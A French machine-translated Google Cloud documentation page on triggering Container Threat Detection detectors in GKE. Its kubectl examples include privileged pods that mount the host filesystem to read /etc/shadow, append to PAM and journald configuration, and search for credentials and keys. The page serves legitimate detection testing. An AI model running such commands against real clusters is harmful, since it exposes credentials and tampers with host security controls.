Cette page a été traduite par l'API Cloud Translation.

Tester Container Threat Detection

Cette page explique comment vérifier que Container Threat Detection fonctionne en déclenchant intentionnellement des détecteurs et en vérifiant les résultats. Container Threat Detection est un service intégré aux niveaux Premium et Enterprise de Security Command Center. Pour afficher les résultats de Container Threat Detection, celui-ci doit être activé dans les paramètres Services de Security Command Center.

Avant de commencer

Pour détecter les menaces potentielles pour vos conteneurs, vous devez vous assurer que vos clusters se trouvent dans une version compatible de Google Kubernetes Engine (GKE). Pour en savoir plus, consultez la section Utiliser une version de GKE compatible. Si vous souhaitez tester la détection des menaces sur ARM, vous avez besoin d'un cluster avec un pool de nœuds contenant des instances ARM. Pour en savoir plus, consultez Charges de travail Arm sur GKE.

Activer les détecteurs

Les détecteurs suivants sont désactivés par défaut :

Added Binary Executed
Added Library Loaded
Collection: Pam.d Modification (Preview)
Credential Access: Access Sensitive Files on Nodes (Preview)
Credential Access: Find Google Cloud Credentials
Defense Evasion: Disable or modify Linux audit system (Preview)
Defense Evasion: Launch Code Compiler Tool In Container
Defense Evasion: Root Certificate Installed (Preview)
Execution: Program Run with Disallowed HTTP Proxy Env
Execution: Suspicious Cron Modification (Preview)
Exfiltration: Launch Remote File Copy Tools in Container
Persistence: Modify ld.so.preload (Preview)

Pour tester ces détecteurs, vous devez les activer explicitement.

Commencez par vérifier l'état de tous les détecteurs :

   export PROJECT=PROJECT_ID
   gcloud alpha scc settings services describe \
       --service=CONTAINER_THREAT_DETECTION \
       --project=${PROJECT}

Pour activer un détecteur spécifique, utilisez la commande correspondante ci-dessous :

Activez le détecteur Added Binary Executed :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_BINARY_EXECUTED \
    --project=${PROJECT}

Activez le détecteur Added Library Loaded :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_LIBRARY_LOADED \
    --project=${PROJECT}

Activez le détecteur Collection: Pam.d Modification (Aperçu) :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=PAM_D_MODIFICATION \
    --project=${PROJECT}

Activez le détecteur Credential Access: Access Sensitive Files on Nodes (Aperçu) :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ACCESS_SENSITIVE_FILES_ON_NODES \
    --project=${PROJECT}

Activez le détecteur Credential Access: Find Google Cloud Credentials :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=FIND_GCP_CREDENTIALS \
    --project=${PROJECT}

Activez le détecteur Defense Evasion: Disable or modify Linux audit system (Aperçu) :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=DISABLE_OR_MODIFY_LINUX_AUDIT_SYSTEM \
    --project=${PROJECT}

Activez le détecteur Defense Evasion: Launch Code Compiler Tool In Container :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \
    --project=${PROJECT}

Activez le détecteur Defense Evasion: Root Certificate Installed (Aperçu) :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ROOT_CERTIFICATE_INSTALLED \
    --project=${PROJECT}

Activez le détecteur Execution: Program Run with Disallowed HTTP Proxy Env :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
    --project=${PROJECT}

Activez le détecteur Execution: Suspicious Cron Modification (Aperçu) :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=SUSPICIOUS_CRON_MODIFICATION \
    --project=${PROJECT}

Activez le détecteur Exfiltration: Launch Remote File Copy Tools in Container :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
    --project=${PROJECT}

Activez le détecteur Persistence: Modify ld.so.preload (Aperçu) :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=MODIFY_LD_SO_PRELOAD \
    --project=${PROJECT}

Définir des variables d'environnement

Pour tester les détecteurs, utilisez la console Google Cloud et Cloud Shell. Vous pouvez définir des variables d'environnement dans Cloud Shell pour faciliter l'exécution des commandes. Les variables suivantes sont utilisées pour tester tous les détecteurs Container Threat Detection.

Accédez à la consoleGoogle Cloud .

Accéder à la console Google Cloud
Sélectionnez le projet contenant le conteneur que vous souhaitez utiliser pour le test.
Cliquez sur Activer Cloud Shell.
Dans Cloud Shell, définissez des variables d'environnement.
1. Zone dans laquelle se trouve votre cluster :
```
export ZONE=CLUSTER_ZONE
```
2. Le projet dans lequel se trouve votre conteneur :
```
export PROJECT=PROJECT_ID
```
3. Le nom de votre cluster :
```
export CLUSTER_NAME=CLUSTER_NAME
```

Les variables sont définies. Les sections suivantes incluent des instructions concernant le test des détecteurs de Container Threat Detection.

Fichier binaire ajouté exécuté

Pour déclencher le résultat d'un fichier binaire ajouté exécuté, déposez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, puis l'exécute. L'exécution du fichier binaire est inattendue, car la copie de ce fichier ne fait pas partie de l'image de conteneur d'origine, même si celle-ci se trouve dans Ubuntu 24.04 et que les conteneurs sont destinés à être immuables.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Déposez un fichier binaire et exécutez-le :

Nœud x86 :

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Nœud ARM :

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
    {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
    "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
    "value": "arm64" } ]}}' \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Cette procédure de test doit créer un fichier binaire supplémentaire que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur, Container Threat Detection filtre temporairement les résultats "Fichier binaire ajouté exécuté". Pour afficher tous les résultats "Binaire ajouté exécuté" lors de la configuration d'un conteneur, préfixez le nom de votre conteneur ou de votre pod avec ktd-test, comme dans l'exemple.

Ajout de bibliothèque chargée

Pour déclencher le résultat d'une bibliothèque ajoutée chargée, déposez une bibliothèque dans votre conteneur et chargez-la. Cet exemple déploie la dernière image Ubuntu 24.04, copie /lib/x86_64-linux-gnu/libc.so.6 à un autre emplacement, puis la charge à l'aide de ld. La bibliothèque chargée est inattendue, car la copie de la bibliothèque ne fait pas partie de l'image de conteneur d'origine, même si celle-ci se trouve dans Ubuntu 24.04 et que les conteneurs sont destinés à être immuables.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Déposez une bibliothèque et utilisez ld pour la charger :

Nœud x86 :

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

Nœud ARM :

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"

Cette procédure de test doit créer une bibliothèque chargée supplémentaire que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats "Bibliothèque ajoutée chargée". Pour afficher tous les résultats "Bibliothèque ajoutée chargée" lors de la configuration d'un conteneur, préfixez le nom de votre conteneur ou de votre pod avec ktd-test, comme dans l'exemple.

Collection : Modification Pam.d (Aperçu)

Pour déclencher la détection de modification pam.d, modifiez l'un des fichiers liés à PAM de l'hôte. Cet exemple déploie la dernière image Ubuntu 24.04, installe le système de fichiers racine de l'hôte dans le conteneur, puis modifie /etc/pam.d/sshd.

Il s'agit d'un détecteur de surveillance des fichiers qui nécessite une version spécifique de GKE.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire qui modifie l'un des fichiers liés à PAM sur l'hôte.

Nœud x86 :

tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nœud ARM :

tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Cette procédure de test déclenche un résultat de modification pam.d que vous pouvez afficher dans Security Command Center et, si vous avez configuré la journalisation pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Commande et contrôle : outil de stéganographie détecté

Pour déclencher un résultat Command and Control: Steganography Tool Detected (aperçu), un fichier binaire doté de fonctionnalités de manipulation de fichiers compatibles avec les outils de stéganographie doit s'exécuter dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme steghide (ou un autre outil de stéganographie comme stegano). Ce comportement est signalé comme suspect, car il peut indiquer une tentative de préparation d'un conteneur pour masquer ou extraire des données, potentiellement à des fins malveillantes.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire d'outil de stéganographie tel que steghide :

Nœud x86 :

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

Nœud ARM :

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

Cette procédure de test crée un résultat Command and Control: Steganography Tool Detected que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Accès aux identifiants : accès aux fichiers sensibles sur les nœuds (aperçu)

Pour déclencher une détection d'accès à un fichier sensible, lisez le fichier /etc/shadow de l'hôte. Cet exemple déploie la dernière image Ubuntu 24.04, installe le système de fichiers racine de l'hôte dans le conteneur, puis lit /etc/shadow à l'aide de cat.

Il s'agit d'un détecteur de surveillance des fichiers qui nécessite une version spécifique de GKE.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un fichier binaire qui lit le fichier /etc/shadow de l'hôte.

Nœud x86 :

tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nœud ARM :

tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Cette procédure de test déclenche un résultat de fichier sensible consulté que vous pouvez afficher dans Security Command Center et, si vous avez configuré la journalisation pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Accès aux identifiants : trouver des identifiants Google Cloud

Pour déclencher un résultat Credential Access: Find Google Cloud Credentials, un fichier binaire capable de rechercher le contenu des fichiers doit être exécuté dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme grep. Le fichier binaire renommé est ensuite exécuté avec des arguments qui spécifient un modèle de recherche indiquant une forme d'identifiants Google Cloud . Cette action est signalée comme suspecte, car elle imite le comportement observé lors de la tentative de localisation des identifiants Google Cloud .

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

Nœud ARM :

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

Cette procédure de test doit créer un résultat Credential Access: Find Google Cloud Credentials que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Accès aux identifiants : reconnaissance des clés GPG

Pour déclencher un résultat Credential Access: GPG Key Reconnaissance, un fichier binaire capable de rechercher le contenu des fichiers doit être exécuté dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme find (ou un autre utilitaire de recherche approprié comme grep). Le fichier binaire renommé est ensuite exécuté avec des arguments qui spécifient un modèle de recherche indiquant des clés privées ou des mots de passe, ou des modèles de contenu suggérant des mots de passe ou des secrets. Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de localisation des clés de sécurité GPG.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

Nœud ARM :

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

Cette procédure de test doit créer un résultat Credential Access: GPG Key Reconnaissance que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Accès aux identifiants : rechercher des clés privées ou des mots de passe

Pour déclencher un résultat Credential Access: Search Private Keys or Passwords, un fichier binaire capable de rechercher le contenu des fichiers doit être exécuté dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme find (ou un autre utilitaire de recherche approprié comme grep). Le fichier binaire renommé est ensuite exécuté avec des arguments qui spécifient un modèle de recherche indiquant des clés privées ou des mots de passe, ou des modèles de contenu suggérant des mots de passe ou des secrets. Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de localisation d'informations sensibles, comme des clés privées ou des mots de passe, dans un environnement conteneurisé.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Nœud ARM :

tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Cette procédure de test doit créer un résultat Credential Access: Search Private Keys or Passwords que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Contournement des défenses : lignes de commande avec fichier ELF en base64

Pour déclencher un résultat Defense Evasion: Base64 ELF File Command Line, un processus doit avoir base64 comme argument et f0VMRgIB comme argument, qui est la forme encodée en base64 de ELF. Cet exemple utilise la dernière image Ubuntu 24.04. base64 est ensuite exécuté avec les arguments -d et f0VMRgIB. Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de décodage de données binaires pour exécuter du code malveillant.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

Nœud ARM :

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

Cette procédure de test doit créer deux résultats Defense Evasion: Base64 ELF File Command Line que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center. Deux résultats sont créés, car la commande bash -c initiale et l'exécution de la commande base64 -d répondent aux critères de résultat.

Contournement des défenses : script Python encodé en base64 exécuté

Pour déclencher un résultat Defense Evasion: Base64 Encoded Python Script Executed, un processus doit avoir echo ou base64 comme argument et aW1wb3J0IH comme argument, qui est la forme encodée en base64 de python -c. Cet exemple utilise la dernière image Ubuntu 24.04. echo est ensuite exécuté avec l'argument aW1wb3J0IH. Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de décodage de données binaires pour exécuter du code malveillant.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

Nœud ARM :

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

Cette procédure de test doit créer un résultat Defense Evasion: Base64 Encoded Python Script Executed que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Contournement des défenses : script shell encodé en base64 exécuté

Pour déclencher un résultat Defense Evasion: Base64 Encoded Shell Script Executed, un processus doit avoir echo ou base64 comme argument et IyEvYmluL2Jhc2gK comme argument, qui est la forme encodée en base64 de #!/bin/bash. Cet exemple utilise la dernière image Ubuntu 24.04. echo est ensuite exécuté avec l'argument IyEvYmluL2Jhc2gK. Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de décodage de données binaires pour exécuter du code malveillant.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

Nœud ARM :

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

Cette procédure de test doit créer un résultat Defense Evasion: Base64 Encoded Shell Script Executed que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Defense Evasion : Désactiver ou modifier le système d'audit Linux (aperçu)

Pour déclencher une détection de modification de l'audit Linux (désactivation ou modification), modifiez l'un des fichiers de configuration liés à l'audit de l'hôte. Cet exemple déploie la dernière image Ubuntu 24.04, installe le système de fichiers racine de l'hôte dans le conteneur, puis modifie /etc/systemd/journald.conf.

Il s'agit d'un détecteur de surveillance des fichiers qui nécessite une version spécifique de GKE.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire qui modifie l'un des fichiers de configuration liés à l'audit de l'hôte, tel que /etc/systemd/journald.conf.

Nœud x86 :

tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nœud ARM :

tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Cette procédure de test déclenche un résultat Disable or Modify Linux Audit System que vous pouvez afficher dans Security Command Center et, si vous avez configuré Logging pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Évitement des défenses : lancer un outil de compilation de code dans un conteneur

Pour déclencher un résultat Defense Evasion: Launch Code Compiler Tool In Container (Aperçu), un outil de compilation de code doit s'exécuter dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme gcc10 (ou un autre compilateur comme clang). Ce comportement est signalé comme suspect, car il peut indiquer une tentative de compilation et d'exécution de code malveillant dans le conteneur pour échapper à la détection ou modifier son comportement.

Définissez des variables d'environnement.

